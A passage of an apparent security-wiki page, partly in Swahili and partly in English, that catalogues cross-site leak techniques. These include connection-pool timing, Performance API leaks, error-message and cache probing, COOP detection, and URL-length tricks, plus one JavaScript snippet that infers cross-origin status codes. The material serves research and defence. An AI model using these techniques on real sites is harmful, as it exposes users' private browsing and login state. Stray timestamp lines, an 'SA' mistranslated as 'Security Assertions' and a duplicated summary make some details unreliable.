* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
* **Summary:** Mshambuliaji anaweza kufunga soketi zote isipokuwa 1, kupakia wavuti ya lengo na kwa wakati mmoja kupakia ukurasa mwingine, muda hadi ukurasa wa mwisho unaanza kupakia ni muda ambao ukurasa wa lengo ulitumia kupakia.
* **Code Example**:
2022-06-28 15:48:43 +00:00
2022-10-12 00:12:06 +00:00
{% content-ref url="xs-search/connection-pool-example.md" %}
[connection-pool-example.md](xs-search/connection-pool-example.md)
{% endcontent-ref %}
Vivinjari vinatumia soketi kwa mawasiliano ya seva, lakini kutokana na rasilimali zilizopunguka za mfumo wa uendeshaji na vifaa, **vivinjari vinapaswa kuweka kikomo** kwenye idadi ya soketi zinazofanya kazi kwa wakati mmoja. Washambuliaji wanaweza kutumia kikomo hiki kupitia hatua zifuatazo:
1. Tambua kikomo cha soketi cha kivinjari, kwa mfano, soketi 256 za kimataifa.
2. Jaza soketi 255 kwa muda mrefu kwa kuanzisha ombi 255 kwa mwenyeji tofauti, iliyoundwa kuweka uhusiano wazi bila kukamilisha.
3. Tumia soketi ya 256 kutuma ombi kwa ukurasa wa lengo.
4. Jaribu ombi la 257 kwa mwenyeji tofauti. Kwa kuwa soketi zote zinatumika (kama ilivyo katika hatua 2 na 3), ombi hili litakuwa kwenye foleni hadi soketi ipatikane. Ucheleweshaji kabla ya ombi hili kuendelea unampa mshambuliaji taarifa za muda kuhusu shughuli za mtandao zinazohusiana na soketi ya 256 (soketi ya ukurasa wa lengo). Ufafanuzi huu unapatikana kwa sababu soketi 255 kutoka hatua 2 bado zinatumika, ikimaanisha kwamba soketi yoyote mpya inayopatikana lazima iwe ile iliyotolewa kutoka hatua 3. Muda inachukua kwa soketi ya 256 kuwa inapatikana hivyo unahusishwa moja kwa moja na muda unaohitajika kwa ombi la ukurasa wa lengo kukamilika.
2024-02-06 03:10:38 +00:00
Kwa maelezo zaidi: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
2022-06-28 15:48:43 +00:00
### Connection Pool by Destination
* **Inclusion Methods**: JavaScript Requests
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**:
* **Summary:** Ni kama mbinu ya awali lakini badala ya kutumia soketi zote, Google **Chrome** inaweka kikomo cha **ombile 6 zinazofanya kazi kwa wakati mmoja kwa asili ile ile**. Ikiwa tuta **zuia 5** na kisha **kuanzisha ombi la 6** tunaweza **kupima** na ikiwa tumeweza kufanya **ukurasa wa mwathirika utume** ombi zaidi kwa kiungo sawa ili kugundua **hali** ya **ukurasa**, **ombile la 6** litachukua **muda mrefu** na tunaweza kuligundua.
## Performance API Techniques
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) inatoa maarifa kuhusu vipimo vya utendaji wa programu za wavuti, ikiongezwa na [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource\_Timing\_API). Resource Timing API inaruhusu kufuatilia muda wa maombi ya mtandao kwa undani, kama vile muda wa maombi. Kwa kuzingatia, wakati seva zinajumuisha kichwa cha `Timing-Allow-Origin: *` katika majibu yao, data za ziada kama vile ukubwa wa uhamisho na muda wa kutafuta jina la kikoa zinapatikana.
Hii data nyingi inaweza kupatikana kupitia mbinu kama [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) au [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), ikitoa mtazamo wa kina wa taarifa zinazohusiana na utendaji. Zaidi ya hayo, API inarahisisha kupima muda wa utekelezaji kwa kuhesabu tofauti kati ya alama za wakati zinazopatikana kutoka [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Hata hivyo, inapaswa kuzingatiwa kwamba kwa shughuli fulani katika vivinjari kama Chrome, usahihi wa `performance.now()` unaweza kuwa na mipaka hadi milisekunde, ambayo inaweza kuathiri undani wa vipimo vya muda.
Zaidi ya vipimo vya muda, Performance API inaweza kutumika kwa maarifa yanayohusiana na usalama. Kwa mfano, uwepo au ukosefu wa kurasa katika kitu cha `performance` katika Chrome unaweza kuashiria matumizi ya `X-Frame-Options`. Kwa haswa, ikiwa ukurasa umezuia kuonyeshwa katika fremu kutokana na `X-Frame-Options`, hautarekodiwa katika kitu cha `performance`, ikitoa kidokezo kidogo kuhusu sera za uwasilishaji wa ukurasa.
### Error Leak
* **Inclusion Methods**: Frames, HTML Elements
* **Detectable Difference**: Status Code
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** Ombi linalosababisha makosa halitaunda kipengee cha muda wa rasilimali.
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
2022-06-27 23:34:20 +00:00
Inawezekana **kutofautisha kati ya msimbo wa hali wa majibu ya HTTP** kwa sababu maombi yanayosababisha **kosa** hayaundai kipengee cha utendaji.
2022-06-27 23:34:20 +00:00
### Style Reload Error
2022-06-27 23:34:20 +00:00
* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Status Code
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** Kutokana na hitilafu ya kivinjari, maombi yanayosababisha makosa yanapakiwa mara mbili.
* **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
2022-06-27 23:34:20 +00:00
Katika mbinu ya awali pia iligundulika kesi mbili ambapo hitilafu za kivinjari katika GC zinapelekea **rasilimali kupakiwa mara mbili wanaposhindwa kupakia**. Hii itasababisha kuingia nyingi katika Performance API na hivyo inaweza kugundulika.
2022-06-27 23:34:20 +00:00
### Request Merging Error
2022-06-27 23:34:20 +00:00
* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Status Code
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** Maombi yanayosababisha kosa hayawezi kuunganishwa.
* **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
2022-06-27 23:34:20 +00:00
Mbinu hii iligunduliwa katika jedwali katika karatasi iliyoelezwa lakini hakuna maelezo ya mbinu hiyo iliyoonekana. Hata hivyo, unaweza kupata msimbo wa chanzo ukikagua katika [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
2022-06-27 23:34:20 +00:00
### Empty Page Leak
2022-06-27 23:34:20 +00:00
* **Inclusion Methods**: Frames
* **Detectable Difference**: Page Content
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** Majibu yasiyo na maudhui hayaundai kipengee cha muda wa rasilimali.
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
2022-06-27 23:34:20 +00:00
Mshambuliaji anaweza kugundua ikiwa ombi limesababisha mwili wa jibu wa HTTP kuwa tupu kwa sababu **kurasa tupu hazaundai kipengee cha utendaji katika vivinjari vingine**.
2022-06-27 23:34:20 +00:00
### **XSS-Auditor Leak**
2022-06-27 23:34:20 +00:00
* **Inclusion Methods**: Frames
* **Detectable Difference**: Page Content
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** Kutumia XSS Auditor katika Madai ya Usalama, washambuliaji wanaweza kugundua vipengele maalum vya ukurasa wa wavuti kwa kuangalia mabadiliko katika majibu wakati payloads zilizoundwa zinachochea mfumo wa filtering wa auditor.
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
2022-06-27 23:34:20 +00:00
Katika Madai ya Usalama (SA), XSS Auditor, iliyokusudiwa awali kuzuia mashambulizi ya Cross-Site Scripting (XSS), inaweza kwa njia ya ajabu kutumika kutoa taarifa nyeti. Ingawa kipengele hiki kilijengwa kimeondolewa kutoka Google Chrome (GC), bado kinapatikana katika SA. Mnamo mwaka wa 2013, Braun na Heiderich walionyesha kwamba XSS Auditor inaweza bila kukusudia kuzuia skripti halali, na kusababisha matokeo ya uongo. Kwa kujenga juu ya hili, watafiti walitengeneza mbinu za kutoa taarifa na kugundua maudhui maalum kwenye kurasa za cross-origin, dhana inayojulikana kama XS-Leaks, ambayo iliripotiwa kwanza na Terada na kuelezewa na Heyes katika chapisho la blogu. Ingawa mbinu hizi zilikuwa maalum kwa XSS Auditor katika GC, iligundulika kwamba katika SA, kurasa zilizozuiwa na XSS Auditor hazizalishi kuingia katika Performance API, ikifichua njia ambayo taarifa nyeti inaweza bado kuvuja.
2022-06-27 23:34:20 +00:00
### X-Frame Leak
2022-06-27 23:34:20 +00:00
* **Inclusion Methods**: Frames
* **Detectable Difference**: Header
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
* **Summary:** Rasilimali yenye kichwa cha X-Frame-Options haizalishi kipengee cha muda wa rasilimali.
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
2022-06-27 23:34:20 +00:00
Ikiwa ukurasa **haukubaliki** kuonyeshwa katika **iframe** hauzali kipengee cha utendaji. Kama matokeo, mshambuliaji anaweza kugundua kichwa cha jibu **`X-Frame-Options`**.\
Vivyo hivyo inatokea ikiwa unatumia **embed** **tag.**
2022-06-27 23:34:20 +00:00
### Download Detection
2022-06-27 23:34:20 +00:00
* **Inclusion Methods**: Frames
* **Detectable Difference**: Header
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** Upakuaji hauzali kipengee cha muda wa rasilimali katika Performance API.
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
2022-06-27 23:34:20 +00:00
Kama ilivyo kwa XS-Leak iliyoelezwa, **rasilimali inayopakuliwa** kwa sababu ya kichwa cha ContentDisposition, pia **haizalishi kipengee cha utendaji**. Mbinu hii inafanya kazi katika vivinjari vyote vikuu.
2022-06-27 23:34:20 +00:00
### Redirect Start Leak
2022-06-27 23:34:20 +00:00
* **Inclusion Methods**: Frames
* **Detectable Difference**: Redirect
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** Kipengee cha muda wa rasilimali kinavuja wakati wa kuanza kwa uelekezaji.
* **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
2022-06-27 23:34:20 +00:00
Tumegundua mfano mmoja wa XS-Leak unaotumia tabia ya vivinjari vingine ambavyo vinarekodi taarifa nyingi sana kwa maombi ya cross-origin. Kiwango kinatambua subset ya sifa ambazo zinapaswa kuwekwa sifuri kwa rasilimali za cross-origin. Hata hivyo, katika **SA** inawezekana kugundua ikiwa mtumiaji **ameelekezwa** na ukurasa wa lengo, kwa kuuliza **Performance API** na kuangalia **data ya muda wa redirectStart**.
2022-06-27 23:34:20 +00:00
### Duration Redirect Leak
2022-06-27 23:34:20 +00:00
* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Redirect
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** Muda wa kuingia kwa muda ni hasi wakati uelekezaji unapotokea.
* **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
2022-06-27 23:34:20 +00:00
Katika GC, **muda** wa maombi yanayosababisha **uelekezaji** ni **hasi** na hivyo inaweza **kutofautishwa** na maombi ambayo hayasababisha uelekezaji.
2022-06-27 23:34:20 +00:00
### CORP Leak
2022-06-27 23:34:20 +00:00
* **Inclusion Methods**: Frames
* **Detectable Difference**: Header
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **Summary:** Rasilimali iliyo na ulinzi wa CORP haizalishi kipengee cha muda wa rasilimali.
* **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
2022-06-27 23:34:20 +00:00
Katika baadhi ya matukio, **kipengee cha nextHopProtocol** kinaweza kutumika kama mbinu ya kuvuja. Katika GC, wakati kichwa cha **CORP** kimewekwa, nextHopProtocol itakuwa **tupu**. Kumbuka kwamba SA haitaunda kipengee cha utendaji kabisa kwa rasilimali zilizo na CORP.
2022-06-27 23:34:20 +00:00
### Service Worker
2022-06-28 12:20:37 +00:00
* **Inclusion Methods**: Frames
* **Detectable Difference**: API Usage
* **More info**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
* **Summary:** Gundua ikiwa huduma ya mfanyakazi imeandikishwa kwa asili maalum.
* **Code Example**:
2022-06-28 12:20:37 +00:00
Wafanyakazi wa huduma ni muktadha wa skripti unaotegemea matukio ambayo yanafanya kazi katika asili. Wanakimbia katika nyuma ya ukurasa wa wavuti na wanaweza kukamata, kubadilisha, na **kuficha rasilimali** ili kuunda programu za wavuti zisizo na mtandao.\
Ikiwa **rasilimali iliyofichwa** na **mfanyakazi wa huduma** inafikiwa kupitia **iframe**, rasilimali hiyo itakuwa **imepakiwa kutoka kwenye cache ya mfanyakazi wa huduma**.\
Ili kugundua ikiwa rasilimali hiyo ilipakiwa kutoka kwenye cache ya mfanyakazi wa huduma, **Performance API** inaweza kutumika.\
Hii inaweza pia kufanywa kwa shambulio la Timing (angalia karatasi kwa maelezo zaidi).
2022-06-28 15:48:43 +00:00
### Cache
2022-06-28 15:48:43 +00:00
* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Timing
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
* **Summary:** Inawezekana kuangalia ikiwa rasilimali ilihifadhiwa kwenye cache.
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](https://xsinator.com/testing.html#Cache%20Leak%20\(POST\))
2022-06-28 15:48:43 +00:00
Kwa kutumia [Performance API](xs-search.md#performance-api) inawezekana kuangalia ikiwa rasilimali imehifadhiwa.
2022-06-28 15:48:43 +00:00
### Network Duration
2022-06-28 17:21:21 +00:00
* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
* **Summary:** Inawezekana kupata muda wa mtandao wa ombi kutoka kwa `performance` API.
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
## Error Messages Technique
### Media Error
* **Inclusion Methods**: HTML Elements (Video, Audio)
* **Detectable Difference**: Status Code
* **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
* **Summary:** Katika Firefox inawezekana kwa usahihi kuvuja msimbo wa hali wa ombi la cross-origin.
* **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
2022-06-28 17:21:21 +00:00
```javascript
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
2024-02-11 02:13:58 +00:00
document.getElementById("log").innerHTML += msg;
2022-06-28 17:21:21 +00:00
}
function startup() {
2024-02-11 02:13:58 +00:00
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
2022-06-28 17:21:21 +00:00
}
```
The `MediaError` interface's message property uniquely identifies resources that load successfully with a distinct string. An attacker can exploit this feature by observing the message content, thereby deducing the response status of a cross-origin resource.
2022-06-27 23:34:20 +00:00
### CORS Error
2022-06-27 23:34:20 +00:00
* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Header
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Summary:** Katika Madai ya Usalama (SA), ujumbe wa kosa la CORS bila kukusudia unafichua URL kamili ya maombi yaliyorejelewa.
* **Code Example**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
2022-06-27 23:34:20 +00:00
This technique enables an attacker to **extract the destination of a cross-origin site's redirect** by exploiting how Webkit-based browsers handle CORS requests. Specifically, when a **CORS-enabled request** is sent to a target site that issues a redirect based on user state and the browser subsequently denies the request, the **full URL of the redirect's target** is disclosed within the error message. This vulnerability not only reveals the fact of the redirect but also exposes the redirect's endpoint and any **sensitive query parameters** it may contain.
2022-06-27 23:34:20 +00:00
### SRI Error
2022-06-27 23:34:20 +00:00
* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Header
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
* **Summary:** Katika Madai ya Usalama (SA), ujumbe wa kosa la CORS bila kukusudia unafichua URL kamili ya maombi yaliyorejelewa.
* **Code Example**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
2022-06-28 12:20:37 +00:00
An attacker can exploit **verbose error messages** to deduce the size of cross-origin responses. This is possible due to the mechanism of Subresource Integrity (SRI), which uses the integrity attribute to validate that resources fetched, often from CDNs, haven't been tampered with. For SRI to work on cross-origin resources, these must be **CORS-enabled**; otherwise, they're not subject to integrity checks. In Security Assertions (SA), much like the CORS error XS-Leak, an error message can be captured after a fetch request with an integrity attribute fails. Attackers can deliberately **trigger this error** by assigning a **bogus hash value** to the integrity attribute of any request. In SA, the resulting error message inadvertently reveals the content length of the requested resource. This information leakage allows an attacker to discern variations in response size, paving the way for sophisticated XS-Leak attacks.
2022-06-28 12:20:37 +00:00
### CSP Violation/Detection
* **Inclusion Methods**: Pop-ups
* **Detectable Difference**: Status Code
* **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
* **Summary:** Kuruhusu tovuti ya waathirika pekee katika CSP ikiwa tumeipata inajaribu kuelekeza kwenye kikoa tofauti CSP itasababisha kosa linaloweza kugundulika.
* **Code Example**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
A XS-Leak can use the CSP to detect if a cross-origin site was redirected to a different origin. This leak can detect the redirect, but additionally, the domain of the redirect target leaks. The basic idea of this attack is to **allow the target domain on the attacker site**. Once a request is issued to the target domain, it **redirects** to a cross-origin domain. **CSP blocks** the access to it and creates a **violation report used as a leak technique**. Depending on the browser, **this report may leak the target location of the redirect**.\
Modern browsers won't indicate the URL it was redirected to, but you can still detect that a cross-origin redirect was triggered.
### Cache
2022-06-28 12:20:37 +00:00
* **Inclusion Methods**: Frames, Pop-ups
* **Detectable Difference**: Page Content
* **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
* **Summary:** Futa faili kutoka kwenye cache. Fungua ukurasa wa lengo angalia ikiwa faili ipo kwenye cache.
* **Code Example:**
2022-06-28 12:20:37 +00:00
Browsers might use one shared cache for all websites. Regardless of their origin, it is possible to deduct whether a target page has **requested a specific file**.
2022-06-28 12:20:37 +00:00
If a page loads an image only if the user is logged in, you can **invalidate** the **resource** (so it's no longer cached if it was, see more info links), **perform a request** that could load that resource and try to load the resource **with a bad request** (e.g. using an overlong referer header). If the resource load **didn't trigger any error**, it's because it was **cached**.
2022-06-28 12:20:37 +00:00
### CSP Directive
* **Inclusion Methods**: Frames
* **Detectable Difference**: Header
* **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
* **Summary:** Miongozo ya kichwa cha CSP inaweza kuchunguzwa kwa kutumia sifa ya iframe ya CSP, ikifichua maelezo ya sera.
* **Code Example**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
A novel feature in Google Chrome (GC) allows web pages to **propose a Content Security Policy (CSP)** by setting an attribute on an iframe element, with policy directives transmitted along with the HTTP request. Normally, the embedded content must **authorize this via an HTTP header**, or an **error page is displayed**. However, if the iframe is already governed by a CSP and the newly proposed policy isn't more restrictive, the page will load normally. This mechanism opens a pathway for an attacker to **detect specific CSP directives** of a cross-origin page by identifying the error page. Although this vulnerability was marked as fixed, our findings reveal a **new leak technique** capable of detecting the error page, suggesting that the underlying problem was never fully addressed.
### **CORP**
* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Header
* **More info**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
* **Summary:** Rasilimali zilizolindwa na Sera ya Rasilimali za Mipaka ya Mipango (CORP) zitatupa kosa wakati zinapojaribiwa kutoka kwa asili isiyoruhusiwa.
* **Code Example**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
The CORP header is a relatively new web platform security feature that when set b**locks no-cors cross-origin requests to the given resource**. The presence of the header can be detected, because a resource protected with CORP will **throw an error when fetched**.
2022-06-28 12:20:37 +00:00
### CORB
* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Headers
* **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
* **Summary**: CORB can allow attackers to detect when the **`nosniff` header is present** in the request.
* **Code Example**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)
2022-06-28 12:20:37 +00:00
Check the link for more information about the attack.
2022-06-28 12:20:37 +00:00
### CORS error on Origin Reflection misconfiguration <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>
2022-06-28 15:48:43 +00:00
* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Headers
* **More info**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
* **Summary**: Ikiwa kichwa cha Asili kinarejelewa katika kichwa `Access-Control-Allow-Origin` inawezekana kuangalia ikiwa rasilimali iko kwenye cache tayari.
* **Code Example**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
2022-06-28 15:48:43 +00:00
In case the **Origin header** is being **reflected** in the header `Access-Control-Allow-Origin` an attacker can abuse this behaviour to try to **fetch** the **resource** in **CORS** mode. If an **error** **isn't** triggered, it means that it was **correctly retrieved form the web**, if an error is **triggered**, it's because it was **accessed from the cache** (the error appears because the cache saves a response with a CORS header allowing the original domain and not the attackers domain)**.**\
Note that if the origin isn't reflected but a wildcard is used (`Access-Control-Allow-Origin: *`) this won't work.
2022-06-28 15:48:43 +00:00
## Readable Attributes Technique
2022-06-27 23:34:20 +00:00
### Fetch Redirect
2022-06-27 23:34:20 +00:00
* **Inclusion Methods**: Fetch API
* **Detectable Difference**: Status Code
* **More info**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
* **Summary:** GC na SA huruhusu kuangalia aina ya majibu (opaque-redirect) baada ya kuelekeza kumalizika.
* **Code Example**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
2022-06-27 23:34:20 +00:00
Submitting a request using the Fetch API with `redirect: "manual"` and other params, it's possible to read the `response.type` attribute and if it's equals to `opaqueredirect` then the response was a redirect.
2022-06-27 23:34:20 +00:00
### COOP
* **Inclusion Methods**: Pop-ups
* **Detectable Difference**: Header
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
* **Summary:** Kurasa zilizolindwa na Sera ya Mfunguo wa Mipaka ya Mipango (COOP) zinazuia ufikiaji kutoka kwa mwingiliano wa mipango tofauti.
* **Code Example**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
2023-03-05 22:20:47 +00:00
An attacker is capable of deducing the presence of the Cross-Origin Opener Policy (COOP) header in a cross-origin HTTP response. COOP is utilized by web applications to hinder external sites from obtaining arbitrary window references. The visibility of this header can be discerned by attempting to access the **`contentWindow` reference**. In scenarios where COOP is applied conditionally, the **`opener` property** becomes a telltale indicator: it's **undefined** when COOP is active, and **defined** in its absence.
2023-03-05 22:20:47 +00:00
### URL Max Length - Server Side
2023-03-05 22:20:47 +00:00
* **Inclusion Methods**: Fetch API, HTML Elements
* **Detectable Difference**: Status Code / Content
* **More info**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
* **Summary:** Gundua tofauti katika majibu kwa sababu ya urefu wa majibu ya kuelekeza unaweza kuwa mrefu sana kwamba seva inajibu kwa kosa na tahadhari inaundwa.
* **Code Example**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
2023-03-05 22:20:47 +00:00
If a server-side redirect uses **user input inside the redirection** and **extra data**. It's possible to detect this behaviour because usually **servers** has a **limit request length**. If the **user data** is that **length - 1**, because the **redirect** is using **that data** and **adding** something **extra**, it will trigger an **error detectable via Error Events**.
If you can somehow set cookies to a user, you can also perform this attack by **setting enough cookies** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)) so with the **response increased size** of the **correct response** an **error** is triggered. In this case, remember that is you trigger this request from a same site, `<script>` will automatically send the cookies (so you can check for errors).\
An example of the **cookie bomb + XS-Search** can be found in the Intended solution of this writeup: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
`SameSite=None` or to be in the same context is usually needed for this type of attack.
### URL Max Length - Client Side
* **Inclusion Methods**: Pop-ups
* **Detectable Difference**: Status Code / Content
* **More info**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
* **Summary:** Gundua tofauti katika majibu kwa sababu ya urefu wa majibu ya kuelekeza unaweza kuwa mrefu sana kwa ombi kwamba tofauti inaweza kuonekana.
* **Code Example**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
According to [Chromium documentation](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url\_display\_guidelines/url\_display\_guidelines.md#URL-Length), Chrome's maximum URL length is 2MB.
